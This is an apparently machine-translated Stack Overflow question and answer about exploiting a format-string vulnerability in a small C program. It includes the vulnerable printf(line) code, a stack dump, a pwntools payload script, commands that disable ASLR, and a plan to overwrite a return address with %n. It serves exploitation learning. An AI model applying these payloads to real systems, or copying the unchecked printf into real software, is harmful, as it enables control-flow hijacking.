C Format-String 漏洞，如何在缓冲区中获取地址答案

【问题标题】：C Format-String vulnerability, how to get address in bufferC Format-String 漏洞，如何在缓冲区中获取地址
【发布时间】：2016-12-27 23:32:56
【问题描述】：

我有一个使用 fgets 从标准输入循环和读取的程序。整个读取循环位于一个函数中，我试图用 printf 漏洞覆盖函数的返回地址。返回地址位于 0xbffff0fc（即 0x2a20029e），堆栈上的缓冲区由输入 AAAA（0x41414141）标识。

0xbffff0b0: 0x0000000a  0x00000020  0xb7fc7c20  0xb7e4fd94
0xbffff0c0: 0xb7fc73cc  0xbffff0dc  0x41414141  0x66740000
0xbffff0d0: 0x785c2220  0x785c3439  0x785c3739  0x785c3430
0xbffff0e0: 0x29223830  0xb7fc0000  0x5da95700  0x00000000
0xbffff0f0: 0x00000000  0xb7fc7000  0x00000000  0x2a20029e

所以根据我的理解，我需要在缓冲区中写入 0xbffff0fc，然后我可以使用 %x%6$n（k 是整数）将任意值写入 0xbffff0fc。

所以输入看起来像这样：%x%6$n。我遇到的问题是如何编写使其在堆栈上为 0xbffff0fc 。仅使用 ASCII 字符我无法真正做到这一点。

编辑：添加程序

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int function1()
{
  char line[32];
  size_t size;
  while(1)
  {
    if (!fgets(line, sizeof(line), stdin))
    {
      return 0;
    }

    size = strlen(line);
    line[size - 1] = '\0';
    printf(line);
    printf("\n");
  }
  return 0;
}

int main(int argc, char** argv)
{
    function1();
    return 0;
}

【问题讨论】：

我加了代码，真不觉得有必要出题。

标签： c security string-formatting

【解决方案1】：

很高兴看到人们在这里询问安全问题。我想你可以看看pwntools。

这是一个编写漏洞利用的工具。这是一个简单的代码sn-p。

#!/usr/bin/env python2
from pwn import *
# a.out is your executable file
s = process('./a.out')
payload = p32(0xbffff0fc)+"%7$p"
# p32() is a function to pack your integer in little endian order
s.sendline(payload)
s.interactive()

输出将是一些不可打印的字符加上0xbffff0fc

▒▒0xbffff0fc

为了进一步解释，line 变量已经在堆栈上。但是您必须禁用ASLR 保护才能使您的堆栈地址固定。否则，每次执行程序时。你的行变量地址会有所不同。

禁用它：

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

启用它：

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

但是，我认为您的问题不在于如何将0xbffff0fc 写入堆栈。您的问题应该是如何在启用ASLR 的情况下获取line 的变量地址。

这里是策略。

泄露堆栈帧的ebp然后你可以计算出line变量的地址。（这部分重要）
执行与上一个示例漏洞相同的操作。
然后，使用%n重写函数的返回地址。

如果您有任何问题，请随时问我。

【讨论】：